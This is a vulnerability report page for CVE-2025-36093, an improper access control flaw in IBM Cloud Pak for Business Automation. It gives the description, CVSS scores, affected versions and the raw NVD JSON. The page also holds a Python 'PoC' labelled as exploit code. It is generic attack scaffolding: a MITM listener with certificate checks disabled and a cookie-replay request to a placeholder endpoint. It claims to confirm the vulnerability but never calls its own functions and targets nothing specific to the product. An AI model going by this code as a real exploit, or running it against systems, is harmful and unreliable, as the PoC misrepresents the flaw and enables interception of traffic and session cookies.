Security Vulnerability Report
中文
CVE-2025-36093 CVSS 4.8 MEDIUM

CVE-2025-36093

Published: 2025-11-03 16:15:35
Last Modified: 2025-11-05 15:07:16

Description

IBM Cloud Pak For Business Automation 25.0.0, 24.0.1, and 24.0.0 could allow an attacker to access unauthorized content or perform unauthorized actions using man in the middle techniques due to improper access controls.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_001:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_002:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_003:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_004:*:*:*:*:*:* - VULNERABLE
IBM Cloud Pak For Business Automation 25.0.0
IBM Cloud Pak For Business Automation 24.0.1
IBM Cloud Pak For Business Automation 24.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36093 PoC - MITM Attack Demonstration # This PoC demonstrates the concept of man-in-the-middle attack on vulnerable endpoints import socket import ssl import struct import time def create_mitm_proxy(listen_port=8080, target_host='vulnerable-server', target_port=443): """ Create a MITM proxy to intercept traffic between client and server This PoC demonstrates the vulnerability where proper access control is missing """ context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Create listening socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', listen_port)) server_socket.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Target: {target_host}:{target_port}") print("[*] Waiting for connections...") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Connection received from {addr}") # Forward traffic to target (demonstration only) target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.settimeout(10) try: target_socket.connect((target_host, target_port)) # In a real attack, attacker could: # 1. Intercept and log all traffic # 2. Modify request parameters # 3. Inject malicious content # 4. Impersonate the server or client print("[!] Traffic interception possible - access control not enforced") print("[!] Attacker can access unauthorized content") except Exception as e: print(f"[-] Connection to target failed: {e}") finally: target_socket.close() client_socket.close() except KeyboardInterrupt: print("\n[*] Shutting down proxy...") break except Exception as e: print(f"[-] Error: {e}") def exploit_vulnerability(target_url, session_cookie=None): """ Attempt to access unauthorized resources using intercepted credentials """ import http.client try: # Parse target URL host = target_url.replace('https://', '').replace('http://', '').split('/')[0] # Create connection conn = http.client.HTTPSConnection(host, timeout=10) # Request with potentially unauthorized access headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SecurityScanner/1.0)', } if session_cookie: headers['Cookie'] = session_cookie # Try to access protected resources without proper authorization # In vulnerable version, this may succeed without proper validation conn.request('GET', '/api/protected/endpoint', headers=headers) response = conn.getresponse() print(f"[*] Response Status: {response.status}") print(f"[*] Response Headers: {dict(response.getheaders())}") data = response.read() if response.status == 200: print("[!] Successfully accessed resource - vulnerability confirmed!") return True else: print("[-] Access denied - target may be patched") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2025-36093 - IBM Cloud Pak For Business Automation") print("Improper Access Control - MITM Attack PoC") print("=" * 60) print("\n[*] This PoC demonstrates the vulnerability") print("[*] Use only for authorized security testing") print()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36093", "sourceIdentifier": "[email protected]", "published": "2025-11-03T16:15:34.763", "lastModified": "2025-11-05T15:07:16.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Cloud Pak For Business Automation 25.0.0, 24.0.1, and 24.0.0 could allow an attacker to access unauthorized content or perform unauthorized actions using man in the middle techniques due to improper access controls."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "EF879B84-21B0-4FD4-AD2E-7F29EBDD218A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "496D1A48-3403-471F-AD07-AEC7E5000AD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_002:*:*:*:*:*:*", "matchCriteriaId": "AA215EC3-DDFE-494D-862C-35CA30D9BEDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_003:*:*:*:*:*:*", "matchCriteriaId": "969ED94C-DB65-482F-B8B8-251B56DE264D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_004:*:*:*:*:*:*", "matchCriteriaId": "D1810412-5987-4F53-A81E-096A4F0187B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:-:*:*:*:*:*:*", "matchCriteriaId": "F68528C5-034B-4B2C-8745-B969B14B52C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "EADE80E3-4E60-4154-A559-93E2325D799A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_002:*:*:*:*:*:*", "matchCriteriaId": "D01FC35C-29F1-4D57-8804-07A5C1E9EA85"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_004:*:*:*:*:*:*", "matchCriteriaId": "4D682E4B-DA22-4F88-A38F-76FF080AE0B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:25.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "70431A72-663D-432E-9D94-5BBE380E06AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:25.0.0:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "33128B64-7030-4A4E-8EF2-E285AF44F99F"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249999", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}